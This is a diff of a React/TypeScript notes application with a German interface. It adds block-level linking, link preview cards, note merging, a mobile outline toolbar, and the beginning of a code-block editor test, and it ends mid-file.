className="lg:pointer-events-none flex-1 min-w-0 flex items-center gap-1.5 text-xs text-main font-medium text-left cursor-pointer"
aria-expanded={showCalendar}
title="Kalender"
>
<CalendarDays className="w-3.5 h-3.5 text-accent shrink-0" />
<span className="truncate">Journal · {shortDateLabel(activeDate)}</span>
<ChevronDown className={`lg:hidden w-3.5 h-3.5 text-muted shrink-0 transition-transform ${showCalendar ? 'rotate-180' : ''}`} />
</button>
{activeDate !== today && (
<button
type="button"
onClick={() => onJump(today)}
className="btn-action shrink-0 h-11 sm:h-7 px-2.5 text-xs"
>
Heute
</button>
)}
<button
type="button"
disabled={!activeDoc || !activeDoc.isOwner}
onClick={() => activeDoc && onOpenShareModal(activeDoc)}
className="btn-icon shrink-0 h-11 w-11 sm:h-7 sm:w-auto sm:px-2 gap-1 disabled:opacity-40"
title={activeDoc ? `${activeDoc.title} teilen` : 'Teilen'}
>
<Users className="w-3.5 h-3.5" />
<span className="hidden sm:inline text-xs">{sharedCount > 0 ? `Geteilt (${sharedCount})` : 'Teilen'}</span>
</button>
</div>
{showCalendar && (
<div className="lg:hidden shrink-0 px-4 py-3 border-b border-border bg-sidebar animate-in fade-in slide-in-from-top-2 duration-200">
<JournalCalendar
activeDate={activeDate}
entryDates={entryDates}
onSelect={(date) => {
setShowCalendar(false);
onJump(date);
}}
/>
</div>
)}
<div ref={scrollRef} onScroll={onScroll} className="flex-1 min-h-0 overflow-y-auto">
{shown.map((date) => {
const docId = docIdByDate.get(date);
return (
<section
key={date}
data-journal-date={date}
ref={(el) => {
if (el) sectionRefs.current.set(date, el);
else sectionRefs.current.delete(date);
}}
className="border-b border-border last:border-b-0 min-h-[8rem]"
>
{docId ? (
<DocumentEditor
key={docId}
variant="journal"
docId={docId}
currentUser={currentUser}
initialDoc={getDoc(docId) || null}
availableFolders={availableFolders}
onDocMetadataChange={onDocMetadataChange}
onDeleteDoc={onDeleteDoc}
onOpenShareModal={onOpenShareModal}
onSelectTag={onSelectTag}
onWikiLinkClick={onWikiLinkClick}
onOpenDocBlock={onOpenDocBlock}
onOpenTask={onOpenTask}
onSaveStatusChange={(status) => {
if (status === 'saved') onDaySaved();
}}
/>
) : (
<div className="px-4 sm:px-8 py-6 text-xs text-muted">{shortDateLabel(date)} wird geöffnet…</div>
)}
</section>
);
})}
{limit < dates.length && <div ref={sentinelRef} className="h-12" />}
{/* Room below the oldest day, so every day can be scrolled to the top */}
<div className="h-[60vh]" aria-hidden />
</div>
</div>
);
};
+108 -9
View File
@@ -8,9 +8,12 @@ import {
ExternalLink, ExternalLink,
Loader2, Loader2,
Plus, Plus,
ArrowLeft,
ListTree,
} from 'lucide-react'; } from 'lucide-react';
import { api } from '../../lib/api'; import { api } from '../../lib/api';
import { Document } from '../../lib/types'; import { Document, DocumentBlock } from '../../lib/types';
import { buildBlockLink } from '../../lib/wikiLink';
export interface LinkModalProps { export interface LinkModalProps {
isOpen: boolean; isOpen: boolean;
@@ -100,6 +103,37 @@ export const LinkModal: React.FC<LinkModalProps> = ({
); );
}, [docs, search]); }, [docs, search]);
// Picking a single bullet of a note (link to that bullet)
const [pickDoc, setPickDoc] = useState<Document | null>(null);
const [pickBlocks, setPickBlocks] = useState<DocumentBlock[] | null>(null);
const [blockSearch, setBlockSearch] = useState('');
useEffect(() => {
if (!isOpen) {
setPickDoc(null);
setPickBlocks(null);
setBlockSearch('');
}
}, [isOpen]);
const openBlockPicker = (doc: Document) => {
setPickDoc(doc);
setBlockSearch('');
if (doc.blocks && doc.blocks.length > 0) {
setPickBlocks(doc.blocks);
return;
}
setPickBlocks(null);
api
.getDocument(doc.id)
.then((full) => setPickBlocks(full.blocks || []))
.catch(() => setPickBlocks([]));
};
const pickableBlocks = useMemo(() => {
const q = blockSearch.trim().toLowerCase();
return (pickBlocks || []).filter(
(b) => b.content.trim() !== '' && b.type !== 'divider' && (!q || b.content.toLowerCase().includes(q))
);
}, [pickBlocks, blockSearch]);
const handleSelectNote = (doc: { title: string }) => { const handleSelectNote = (doc: { title: string }) => {
const noteTitle = doc.title.trim() || 'Notiz'; const noteTitle = doc.title.trim() || 'Notiz';
onInsertLink(`[[${noteTitle}]]`); onInsertLink(`[[${noteTitle}]]`);
@@ -244,8 +278,59 @@ export const LinkModal: React.FC<LinkModalProps> = ({
)} )}
</div> </div>
{/* Bullets of one note: link to a single bullet */}
{tab === 'note' && pickDoc && (
<div className="space-y-2">
<div className="flex items-center gap-2">
<button
type="button"
onClick={() => setPickDoc(null)}
className="btn-icon h-11 w-11 sm:h-7 sm:w-7 shrink-0"
title="Zurück zur Notizliste"
aria-label="Zurück zur Notizliste"
>
<ArrowLeft className="w-3.5 h-3.5" />
</button>
<span className="text-xs font-semibold text-main truncate">
Punkt in „{pickDoc.title || 'Unbenannte Notiz'}“ wählen
</span>
</div>
<input
type="text"
value={blockSearch}
onChange={(e) => setBlockSearch(e.target.value)}
placeholder="Punkte filtern…"
className="input-field w-full h-11 sm:h-8 px-2.5 text-xs"
aria-label="Punkte filtern"
/>
<div className="space-y-0.5 max-h-64 overflow-y-auto pr-0.5">
{pickBlocks === null ? (
<div className="p-4 text-xs text-muted flex items-center gap-2 justify-center">
<Loader2 className="w-4 h-4 animate-spin text-accent" />
<span>Punkte werden geladen…</span>
</div>
) : pickableBlocks.length === 0 ? (
<div className="p-4 text-xs text-muted text-center">Keine passenden Punkte.</div>
) : (
pickableBlocks.map((b) => (
<button
key={b.id}
type="button"
onClick={() => onInsertLink(buildBlockLink(pickDoc.title || 'Notiz', b.id, b.content))}
className="w-full text-left min-h-[44px] sm:min-h-0 py-1.5 pr-2 rounded-btn text-xs text-main hover:bg-panel-elevated hover:text-accent flex items-start gap-1.5 cursor-pointer"
style={{ paddingLeft: `${0.5 + Math.min(b.level || 0, 5) * 0.875}rem` }}
>
<span className="text-faint shrink-0">•</span>
<span className="line-clamp-2 break-words">{b.content}</span>
</button>
))
)}
</div>
</div>
)}
{/* Note List Section (Matching Active Shares list in UnifiedShareModal) */} {/* Note List Section (Matching Active Shares list in UnifiedShareModal) */}
{tab === 'note' && ( {tab === 'note' && !pickDoc && (
<div className="space-y-2"> <div className="space-y-2">
<div className="flex items-center justify-between text-xs font-semibold text-muted uppercase tracking-wider px-0.5"> <div className="flex items-center justify-between text-xs font-semibold text-muted uppercase tracking-wider px-0.5">
<span>Verfügbare Notizen</span> <span>Verfügbare Notizen</span>
@@ -289,13 +374,27 @@ export const LinkModal: React.FC<LinkModalProps> = ({
)} )}
</div> </div>
</div> </div>
<button <div className="flex items-center gap-1 shrink-0">
type="button" <button
className="btn-action text-xs h-7 px-2.5 opacity-0 group-hover:opacity-100 transition-opacity flex items-center gap-1 text-accent cursor-pointer shrink-0" type="button"
> onClick={(e) => {
<span>Einfügen</span> e.stopPropagation();
<ExternalLink className="w-3 h-3" /> openBlockPicker(d as Document);
</button> }}
className="btn-icon h-11 w-11 sm:h-7 sm:w-7 text-muted hover:text-accent"
title="Einen einzelnen Punkt dieser Notiz verlinken"
aria-label="Punkt dieser Notiz wählen"
>
<ListTree className="w-3.5 h-3.5" />
</button>
<button
type="button"
className="btn-action text-xs h-7 px-2.5 opacity-0 group-hover:opacity-100 transition-opacity flex items-center gap-1 text-accent cursor-pointer"
>
<span>Einfügen</span>
<ExternalLink className="w-3 h-3" />
</button>
</div>
</div> </div>
)) ))
)} )}
@@ -0,0 +1,84 @@
import React, { useEffect, useState } from 'react';
import { Globe, X } from 'lucide-react';
import { LinkPreview, loadLinkPreview } from '../../lib/linkPreview';
import { loadAuthorized } from '../../lib/media';
import { safeHref } from '../../lib/safeUrl';
interface LinkPreviewCardProps {
url: string;
canEdit: boolean;
onHide: (title: string) => void;
}
function usePicture(preview: LinkPreview | null, kind: 'image' | 'icon'): string | null {
const [src, setSrc] = useState<string | null>(null);
const has = preview ? (kind === 'image' ? preview.hasImage : preview.hasIcon) : false;
const key = preview?.key;
useEffect(() => {
if (!has || !key) return;
let alive = true;
loadAuthorized(`/api/v1/link-preview/${key}/${kind}`)
.then((p) => alive && setSrc(p.url))
.catch(() => {});
return () => {
alive = false;
};
}, [has, key, kind]);
return src;
}
// Compact card above a bullet with a web address: icon and site, title, one line of description and a
// small picture. Nothing is shown when the page offers nothing usable.
export const LinkPreviewCard: React.FC<LinkPreviewCardProps> = ({ url, canEdit, onHide }) => {
const [preview, setPreview] = useState<LinkPreview | null>(null);
const image = usePicture(preview, 'image');
const icon = usePicture(preview, 'icon');
const href = safeHref(url);
useEffect(() => {
let alive = true;
setPreview(null);
void loadLinkPreview(url).then((p) => alive && setPreview(p));
return () => {
alive = false;
};
}, [url]);
if (!preview || !href) return null;
return (
<div className="relative mb-1 max-w-xl">
<a
href={href}
target="_blank"
rel="noopener noreferrer"
className="flex items-stretch gap-3 min-h-[6.5rem] rounded-card border border-border bg-panel hover:bg-panel-elevated transition-colors overflow-hidden no-underline"
>
<div className="min-w-0 flex-1 py-3 pl-3 pr-11 sm:pr-8 space-y-1 flex flex-col justify-center">
<div className="flex items-center gap-1.5 text-[11px] text-faint min-w-0">
{icon ? (
<img src={icon} alt="" className="w-3.5 h-3.5 rounded-sm shrink-0" />
) : (
<Globe className="w-3.5 h-3.5 shrink-0" />
)}
<span className="truncate">{preview.siteName}</span>
</div>
{preview.title && <div className="text-sm font-semibold text-main line-clamp-2 leading-snug">{preview.title}</div>}
{preview.description && <div className="text-xs text-muted line-clamp-2">{preview.description}</div>}
</div>
{image && <img src={image} alt="" className="w-28 sm:w-40 object-cover shrink-0 border-l border-border" />}
</a>
{canEdit && (
<button
type="button"
onClick={() => onHide(preview.title)}
title="Vorschau für diesen Link ausblenden"
aria-label="Vorschau ausblenden"
className="absolute top-0 right-0 sm:top-1 sm:right-1 w-11 h-11 sm:w-7 sm:h-7 flex items-center justify-center rounded-full bg-panel/70 text-muted hover:text-main"
>
<X className="w-3.5 h-3.5" />
</button>
)}
</div>
);
};
@@ -0,0 +1,109 @@
import React, { useMemo, useState } from 'react';
import { GitMerge, Search } from 'lucide-react';
import { FormSheet } from '../../components/FormSheet';
import { api } from '../../lib/api';
import { Document, MergeResult } from '../../lib/types';
interface MergeDialogProps {
docs: Document[];
sourceId: string;
/** Known after a drop in the sidebar; otherwise the user picks it here */
targetId?: string | null;
onClose: () => void;
onMerged: (result: MergeResult) => void;
}
const canWrite = (d: Document) => d.isOwner || d.permission === 'owner' || d.permission === 'write';
// Merging a note into another: pick the target (when not dropped onto one), confirm, merge. The source
// is appended to the target under a heading with its title and goes to the trash.
export const MergeDialog: React.FC<MergeDialogProps> = ({ docs, sourceId, targetId, onClose, onMerged }) => {
const [target, setTarget] = useState<string | null>(targetId || null);
const [query, setQuery] = useState('');
const [busy, setBusy] = useState(false);
const [error, setError] = useState<string | null>(null);
const source = docs.find((d) => d.id === sourceId);
const targetDoc = docs.find((d) => d.id === target);
const candidates = useMemo(() => {
const q = query.trim().toLowerCase();
return docs
.filter((d) => d.id !== sourceId && !d.isArchived && canWrite(d))
.filter((d) => !q || (d.title || '').toLowerCase().includes(q))
.slice(0, 50);
}, [docs, sourceId, query]);
const submit = async (e: React.FormEvent) => {
e.preventDefault();
if (!target) return;
setBusy(true);
setError(null);
try {
onMerged(await api.mergeDocuments(target, sourceId));
} catch (err: any) {
setError(err?.message || 'Zusammenführen fehlgeschlagen');
setBusy(false);
}
};
const title = (d?: Document) => `„${d?.title || 'Unbenannte Notiz'}“`;
return (
<FormSheet
title="Notizen zusammenführen"
icon={<GitMerge className="w-4 h-4" />}
onClose={onClose}
onSubmit={submit}
submitLabel={target ? 'Zusammenführen' : 'Ziel wählen'}
busy={busy || !target}
>
{targetDoc ? (
<div className="space-y-2 text-xs">
<p className="text-main">
Notiz {title(source)} in {title(targetDoc)} zusammenführen?
</p>
<p className="text-muted">
Die Punkte von {title(source)} werden als eigener Abschnitt an {title(targetDoc)} angehängt.{' '}
{title(source)} wandert danach in den Papierkorb; „Rückgängig“ macht beides wieder rückgängig.
</p>
{!targetId && (
<button type="button" onClick={() => setTarget(null)} className="text-accent hover:underline min-h-[44px] sm:min-h-0">
Anderes Ziel wählen
</button>
)}
</div>
) : (
<div className="space-y-2">
<p className="text-xs text-muted">In welche Notiz soll {title(source)} eingefügt werden?</p>
<div className="relative">
<Search className="w-3.5 h-3.5 text-faint absolute left-2.5 top-1/2 -translate-y-1/2" />
<input
autoFocus
value={query}
onChange={(e) => setQuery(e.target.value)}
placeholder="Notiz suchen…"
className="w-full h-11 sm:h-9 pl-8 pr-2 input-field text-sm"
/>
</div>
<ul className="max-h-64 overflow-y-auto divide-y divide-border rounded-card border border-border">
{candidates.map((d) => (
<li key={d.id}>
<button
type="button"
onClick={() => setTarget(d.id)}
className="w-full min-h-[44px] sm:min-h-0 px-3 py-2 flex items-center gap-2 text-left text-xs text-main hover:bg-panel-elevated"
>
<span className="shrink-0">{d.icon || '📝'}</span>
<span className="truncate flex-1">{d.title || 'Unbenannte Notiz'}</span>
{d.folderPath && <span className="text-[10px] text-faint truncate max-w-[40%]">{d.folderPath}</span>}
</button>
</li>
))}
{candidates.length === 0 && <li className="px-3 py-3 text-xs text-faint">Keine passende Notiz</li>}
</ul>
</div>
)}
{error && <p className="text-xs text-status-err">{error}</p>}
</FormSheet>
);
};
@@ -0,0 +1,54 @@
import React from 'react';
import { createPortal } from 'react-dom';
import { ArrowDown, ArrowUp, IndentDecrease, IndentIncrease } from 'lucide-react';
import { useKeyboardInset } from '../../lib/useKeyboardInset';
// Phones and tablets have no Tab key: while a bullet is being edited, a slim bar sits right above the
// on-screen keyboard with outdent / indent and move up / down (the bullet takes its children along).
export const isTouchOnly =
typeof window !== 'undefined' &&
!!window.matchMedia?.('(hover: none) and (pointer: coarse)').matches &&
!window.matchMedia?.('(any-pointer: fine)').matches;
interface MobileOutlineBarProps {
onOutdent: () => void;
onIndent: () => void;
onMoveUp: () => void;
onMoveDown: () => void;
}
export const MobileOutlineBar: React.FC<MobileOutlineBarProps> = ({ onOutdent, onIndent, onMoveUp, onMoveDown }) => {
// iOS keeps fixed elements behind the keyboard: lift the bar by the keyboard's height
const { inset } = useKeyboardInset();
const button = (label: string, icon: React.ReactNode, action: () => void) => (
<button
type="button"
aria-label={label}
title={label}
// Keep the focus (and the keyboard) in the bullet: no focus change on press, act on click
onPointerDown={(e) => e.preventDefault()}
onMouseDown={(e) => e.preventDefault()}
onClick={action}
className="h-10 flex-1 max-w-[4.5rem] flex items-center justify-center rounded-btn border border-border bg-canvas text-main active:bg-panel-elevated touch-manipulation"
>
{icon}
</button>
);
return createPortal(
<div
className="fixed left-0 right-0 z-[70] flex items-center justify-center gap-2 px-3 py-1.5 bg-panel/95 backdrop-blur-md border-t border-border"
style={{ bottom: inset }}
role="toolbar"
aria-label="Punkt bearbeiten"
>
{button('Ausrücken', <IndentDecrease className="w-5 h-5" />, onOutdent)}
{button('Einrücken', <IndentIncrease className="w-5 h-5" />, onIndent)}
<span className="w-px h-6 bg-border mx-1" aria-hidden />
{button('Nach oben', <ArrowUp className="w-5 h-5" />, onMoveUp)}
{button('Nach unten', <ArrowDown className="w-5 h-5" />, onMoveDown)}
</div>,
document.body
);
};
File diff suppressed because it is too large. Load diff
+86 -176
View File
@@ -1,6 +1,10 @@
import React, { useState, useRef, useEffect, useCallback, useMemo, forwardRef, useImperativeHandle } from 'react'; import React, { useState, useRef, useEffect, useCallback, useMemo, forwardRef, useImperativeHandle } from 'react';
import { DocumentBlock, BlockType } from '../../lib/types'; import { DocumentBlock, BlockType } from '../../lib/types';
import { OutlinerBlock } from './OutlinerBlock'; import { OutlinerBlock } from './OutlinerBlock';
import { parsePastedLines } from '../../lib/pasteOutline';
import { numberedLabels } from '../../lib/outlineList';
import { flushSync } from 'react-dom';
import { MobileOutlineBar, isTouchOnly } from './MobileOutlineBar';
export interface OutlinerTreeHandle { export interface OutlinerTreeHandle {
focusFirstBlock: () => void; focusFirstBlock: () => void;
@@ -9,19 +13,25 @@ export interface OutlinerTreeHandle {
export interface OutlinerTreeProps { export interface OutlinerTreeProps {
docId: string; docId: string;
/** Smaller click area below the last bullet (journal days) */
compact?: boolean;
blocks: DocumentBlock[]; blocks: DocumentBlock[];
canEdit: boolean; canEdit: boolean;
levelOffset?: number; levelOffset?: number;
onZoomBlock?: (blockId: string) => void; onZoomBlock?: (blockId: string) => void;
onExtractBlock?: (blockId: string) => void;
onUpdateBlock: (updated: DocumentBlock, immediate?: boolean) => void; onUpdateBlock: (updated: DocumentBlock, immediate?: boolean) => void;
onUpdateBlocks?: (updated: DocumentBlock[]) => void; onUpdateBlocks?: (updated: DocumentBlock[]) => void;
onCreateBlock: (newBlock: DocumentBlock, afterBlockId?: string) => void; onCreateBlock: (newBlock: DocumentBlock, afterBlockId?: string) => void;
onInsertBlocks?: (afterBlockId: string, updatedCurrent: DocumentBlock, newBlocks: DocumentBlock[]) => void; onInsertBlocks?: (afterBlockId: string, updatedCurrent: DocumentBlock, newBlocks: DocumentBlock[]) => void;
onDeleteBlock: (blockId: string) => void; onDeleteBlock: (blockId: string) => void;
onMoveBlock: (blockId: string, newIndex: number, level?: number) => void; onMoveBlock: (blockId: string, newIndex: number, level?: number) => void;
/** Swap a bullet (with children) with its previous / next sibling (phone bar ↑ ↓) */
onMoveSibling?: (blockId: string, direction: -1 | 1) => void;
onOpenTask?: (taskId: string) => void; onOpenTask?: (taskId: string) => void;
onTagClick?: (tag: string) => void; onTagClick?: (tag: string) => void;
onWikiLinkClick?: (pageTitle: string) => void; onWikiLinkClick?: (pageTitle: string, blockId?: string) => void;
onCopyBlockLink?: (blockId: string) => void;
initialFocusedBlockId?: string | null; initialFocusedBlockId?: string | null;
onFocusedBlockChange?: (blockId: string | null) => void; onFocusedBlockChange?: (blockId: string | null) => void;
lockedBlocks?: Map<string, string>; // blockId -> name of the user editing it (someone else) lockedBlocks?: Map<string, string>; // blockId -> name of the user editing it (someone else)
@@ -33,19 +43,23 @@ export interface OutlinerTreeProps {
export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({ export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
docId, docId,
compact = false,
blocks, blocks,
canEdit, canEdit,
levelOffset = 0, levelOffset = 0,
onZoomBlock, onZoomBlock,
onExtractBlock,
onUpdateBlock, onUpdateBlock,
onUpdateBlocks, onUpdateBlocks,
onCreateBlock, onCreateBlock,
onInsertBlocks, onInsertBlocks,
onDeleteBlock, onDeleteBlock,
onMoveBlock, onMoveBlock,
onMoveSibling,
onOpenTask, onOpenTask,
onTagClick, onTagClick,
onWikiLinkClick, onWikiLinkClick,
onCopyBlockLink,
initialFocusedBlockId, initialFocusedBlockId,
onFocusedBlockChange, onFocusedBlockChange,
lockedBlocks, lockedBlocks,
@@ -233,13 +247,35 @@ export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
return result; return result;
}, [blocks, levelOffset]); }, [blocks, levelOffset]);
const listLabels = useMemo(() => numberedLabels(blocks), [blocks]);
// Whether another bullet on the same level follows (before the branch ends); an empty bullet
// is then not outdented by Enter
const siblingFollows = useCallback(
(index: number) => {
const level = blocks[index]?.level || 0;
for (let i = index + 1; i < blocks.length; i++) {
const l = blocks[i].level || 0;
if (l < level) return false;
if (l === level) return true;
}
return false;
},
[blocks]
);
const handleCreateBlockBelow = useCallback( const handleCreateBlockBelow = useCallback(
(afterBlockId: string, newContent: string = '') => { (afterBlockId: string, newContent: string = '') => {
if (!canEdit) return; if (!canEdit) return;
const idx = blocks.findIndex((b) => b.id === afterBlockId); const idx = blocks.findIndex((b) => b.id === afterBlockId);
const currentBlock = idx >= 0 ? blocks[idx] : null; const currentBlock = idx >= 0 ? blocks[idx] : null;
const level = currentBlock ? Math.max(0, currentBlock.level || 0) : 0; const isHeading =
const inheritedType: BlockType = 'text'; (currentBlock?.type === 'h1' || currentBlock?.type === 'h2' || currentBlock?.type === 'h3') &&
!currentBlock.collapsed;
// Enter on an open heading starts its section: the new bullet goes below it as a child
const level = currentBlock ? Math.max(0, currentBlock.level || 0) + (isHeading ? 1 : 0) : 0;
// Numbered lists continue on Enter (an empty item ends the list, see OutlinerBlock)
const inheritedType: BlockType = currentBlock?.type === 'numbered' ? 'numbered' : 'text';
const newBlock: DocumentBlock = { const newBlock: DocumentBlock = {
id: `blk_${Date.now().toString(36)}_${Math.random().toString(36).slice(2, 7)}`, id: `blk_${Date.now().toString(36)}_${Math.random().toString(36).slice(2, 7)}`,
@@ -268,178 +304,7 @@ export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
const currentBlock = blocks[idx]; const currentBlock = blocks[idx];
const baseLevel = Math.max(0, currentBlock.level || 0); const baseLevel = Math.max(0, currentBlock.level || 0);
// Detect indentation style (2-space vs 4-space tabs) const parsed = parsePastedLines(rawLines);
let detectedSpaceStep = 2;
const leadingSpacesList: number[] = [];
for (const line of rawLines) {
if (!line.trim()) continue;
let sp = 0;
while (sp < line.length && line[sp] === ' ') sp++;
if (sp > 0) leadingSpacesList.push(sp);
}
if (leadingSpacesList.length > 0 && leadingSpacesList.every((s) => s % 4 === 0)) {
detectedSpaceStep = 4;
}
// Parse lines into structured blocks
interface ParsedPasteItem {
type: BlockType;
checked?: boolean;
content: string;
indent: number;
}
const parsed: ParsedPasteItem[] = [];
let currentItem: ParsedPasteItem | null = null;
let inCodeBlock = false;
let afterHeading = false;
const pushCurrentItem = () => {
if (currentItem) {
currentItem.content = currentItem.content.trimEnd();
parsed.push(currentItem);
currentItem = null;
}
};
for (let i = 0; i < rawLines.length; i++) {
const rawLine = rawLines[i];
// 1. Inside a fenced code block
if (inCodeBlock) {
if (currentItem) {
currentItem.content += '\n' + rawLine;
}
if (rawLine.trim().startsWith('```')) {
inCodeBlock = false;
}
continue;
}
// 2. Starts a code fence
if (rawLine.trim().startsWith('```')) {
inCodeBlock = true;
if (afterHeading) {
afterHeading = false;
pushCurrentItem();
currentItem = {
type: 'text',
content: rawLine,
indent: 0,
};
} else if (currentItem) {
currentItem.content += (currentItem.content.endsWith('\n') ? '' : '\n') + rawLine;
} else {
currentItem = {
type: 'text',
content: rawLine,
indent: 0,
};
}
continue;
}
// Measure leading indent
let tabs = 0;
let spaces = 0;
let charIdx = 0;
while (charIdx < rawLine.length) {
if (rawLine[charIdx] === '\t') {
tabs++;
charIdx++;
} else if (rawLine[charIdx] === ' ') {
spaces++;
charIdx++;
} else {
break;
}
}
const strippedLine = rawLine.slice(charIdx);
const lineIndent = tabs + Math.floor(spaces / detectedSpaceStep);
// Blank lines
if (strippedLine.trim() === '') {
if (currentItem) {
currentItem.content += '\n';
}
continue;
}
// Headings: #, ##, ###
const h3Match = strippedLine.match(/^###\s+(.*)$/);
const h2Match = strippedLine.match(/^##\s+(.*)$/);
const h1Match = strippedLine.match(/^#\s+(.*)$/);
if (h1Match || h2Match || h3Match) {
pushCurrentItem();
afterHeading = true;
const type: BlockType = h1Match ? 'h1' : h2Match ? 'h2' : 'h3';
const content = (h1Match || h2Match || h3Match)![1];
parsed.push({ type, content, indent: lineIndent });
continue;
}
// Dividers: ---, ***, ___
if (/^(?:---|---|\*\*\*|___)\s*$/.test(strippedLine.trim())) {
pushCurrentItem();
afterHeading = false;
parsed.push({ type: 'divider', content: '---', indent: lineIndent });
continue;
}
// Todo items: - [ ], - [x], * [ ], * [x]
const todoMatch = strippedLine.match(/^[-*]\s*\[([ xX])\]\s*(.*)$/);
if (todoMatch) {
pushCurrentItem();
afterHeading = false;
parsed.push({
type: 'todo',
checked: todoMatch[1].toLowerCase() === 'x',
content: todoMatch[2],
indent: lineIndent,
});
continue;
}
// Explicit bullet or numbered list: - item, * item, • item, 1. item, 1) item
const bulletMatch = strippedLine.match(/^[-*•]\s+(.*)$/);
const numMatch = strippedLine.match(/^\d+[.)]\s+(.*)$/);
if (bulletMatch || numMatch) {
pushCurrentItem();
afterHeading = false;
parsed.push({
type: 'text',
content: (bulletMatch ? bulletMatch[1] : numMatch![1]),
indent: lineIndent,
});
continue;
}
// Regular text line
if (afterHeading) {
// This starts the single bullet point after the heading
afterHeading = false;
pushCurrentItem();
currentItem = {
type: 'text',
content: strippedLine,
indent: lineIndent,
};
} else if (currentItem) {
if (currentItem.content.endsWith('\n')) {
currentItem.content += strippedLine;
} else {
currentItem.content += '\n' + strippedLine;
}
} else {
currentItem = {
type: 'text',
content: strippedLine,
indent: lineIndent,
};
}
}
pushCurrentItem();
if (parsed.length === 0) return; if (parsed.length === 0) return;
@@ -752,6 +617,39 @@ export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
[blocks, draggedIndex, onMoveBlock, lockHolder, onLockedAction] [blocks, draggedIndex, onMoveBlock, lockHolder, onLockedAction]
); );
// Phone bar: runs the action at once and puts the focus back into the same bullet within the same tap
// (React may move the field in the DOM, which drops the focus; iOS reopens the keyboard only inside a tap)
const runOnFocused = (action: (blockId: string) => void) => {
const id = focusedBlockId;
if (!id) return;
const holder = lockHolder(id);
if (holder) {
onLockedAction?.(holder);
return;
}
const before = textareaMapRef.current.get(id);
const caret = before ? before.selectionStart : null;
flushSync(() => action(id));
const el = textareaMapRef.current.get(id);
if (!el) return;
if (document.activeElement !== el) {
el.focus({ preventScroll: true });
if (caret !== null) {
try {
el.setSelectionRange(caret, caret);
} catch {
// ignore
}
}
}
// Keep the bullet visible above the bar (about 56 px) and the keyboard
const vv = window.visualViewport;
const visibleBottom = (vv ? vv.height + vv.offsetTop : window.innerHeight) - 64;
const rect = el.getBoundingClientRect();
if (rect.bottom > visibleBottom || rect.top < 0) el.scrollIntoView({ block: 'center' });
};
const showMobileBar = isTouchOnly && canEdit && !!focusedBlockId && blocks.some((b) => b.id === focusedBlockId);
useEffect(() => { useEffect(() => {
const clearDrag = () => { const clearDrag = () => {
setDraggedIndex(null); setDraggedIndex(null);
@@ -772,6 +670,7 @@ export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
block={block} block={block}
index={index} index={index}
isLast={isLast} isLast={isLast}
siblingFollows={siblingFollows(index)}
maxAllowedLevel={maxAllowedLevel} maxAllowedLevel={maxAllowedLevel}
hasChildren={hasChildren} hasChildren={hasChildren}
isFocused={focusedBlockId === block.id} isFocused={focusedBlockId === block.id}
@@ -783,9 +682,11 @@ export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
onRedo={onRedo} onRedo={onRedo}
levelOffset={levelOffset} levelOffset={levelOffset}
onZoomBlock={onZoomBlock} onZoomBlock={onZoomBlock}
onExtractBlock={onExtractBlock}
onUpdateBlock={onUpdateBlock} onUpdateBlock={onUpdateBlock}
onCreateBlockBelow={handleCreateBlockBelow} onCreateBlockBelow={handleCreateBlockBelow}
onPasteMultiLines={handlePasteMultiLines} onPasteMultiLines={handlePasteMultiLines}
listMarker={listLabels.get(block.id)}
onDeleteBlock={handleDeleteBlock} onDeleteBlock={handleDeleteBlock}
onMergeWithPrevious={handleMergeWithPrevious} onMergeWithPrevious={handleMergeWithPrevious}
onIndentBlock={handleIndentBlock} onIndentBlock={handleIndentBlock}
@@ -795,6 +696,7 @@ export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
onOpenTask={onOpenTask} onOpenTask={onOpenTask}
onTagClick={onTagClick} onTagClick={onTagClick}
onWikiLinkClick={onWikiLinkClick} onWikiLinkClick={onWikiLinkClick}
onCopyBlockLink={onCopyBlockLink}
onDragStartBlock={handleDragStartBlock} onDragStartBlock={handleDragStartBlock}
onDragOverBlock={handleDragOverBlock} onDragOverBlock={handleDragOverBlock}
onDropBlock={handleDropBlock} onDropBlock={handleDropBlock}
@@ -807,7 +709,7 @@ export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
{canEdit && ( {canEdit && (
<div <div
className={`min-h-[14rem] pt-2 pl-2 transition-colors cursor-text ${ className={`${compact ? 'min-h-[2.5rem]' : 'min-h-[14rem]'} pt-2 pl-2 transition-colors cursor-text ${
dragOverIndex === blocks.length ? 'border-t-2 border-accent bg-accent/10 rounded' : '' dragOverIndex === blocks.length ? 'border-t-2 border-accent bg-accent/10 rounded' : ''
}`} }`}
onClick={(e) => { onClick={(e) => {
@@ -843,6 +745,14 @@ export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
onDrop={() => handleDropBlock(blocks.length)} onDrop={() => handleDropBlock(blocks.length)}
/> />
)} )}
{showMobileBar && (
<MobileOutlineBar
onOutdent={() => runOnFocused((id) => handleIndentBlock(id, -1))}
onIndent={() => runOnFocused((id) => handleIndentBlock(id, 1))}
onMoveUp={() => runOnFocused((id) => onMoveSibling?.(id, -1))}
onMoveDown={() => runOnFocused((id) => onMoveSibling?.(id, 1))}
/>
)}
</div> </div>
); );
}); });
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,258 @@
import React, { useState } from 'react';
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
import { render, fireEvent, screen, waitFor, act } from '@testing-library/react';
import { CodeBlockEditor, loadPrismLanguage } from '../CodeBlockEditor';
import { OutlinerBlock } from '../OutlinerBlock';
import { DocumentBlock } from '../../../lib/types';
function makeCodeBlock(overrides: Partial<DocumentBlock> = {}): DocumentBlock {
return {
id: 'code-1',
type: 'code',
content: 'name: mindsift\nport: 8080',
level: 0,
position: 1000,
...overrides,
};
}
function renderOutlinerCodeBlock(
initialBlock: DocumentBlock,
props: Partial<React.ComponentProps<typeof OutlinerBlock>> = {}
) {
const updates: DocumentBlock[] = [];
const indentCalls: Array<[string, 1 | -1]> = [];
const Wrapper: React.FC = () => {
const [blk, setBlk] = useState<DocumentBlock>(initialBlock);
return (
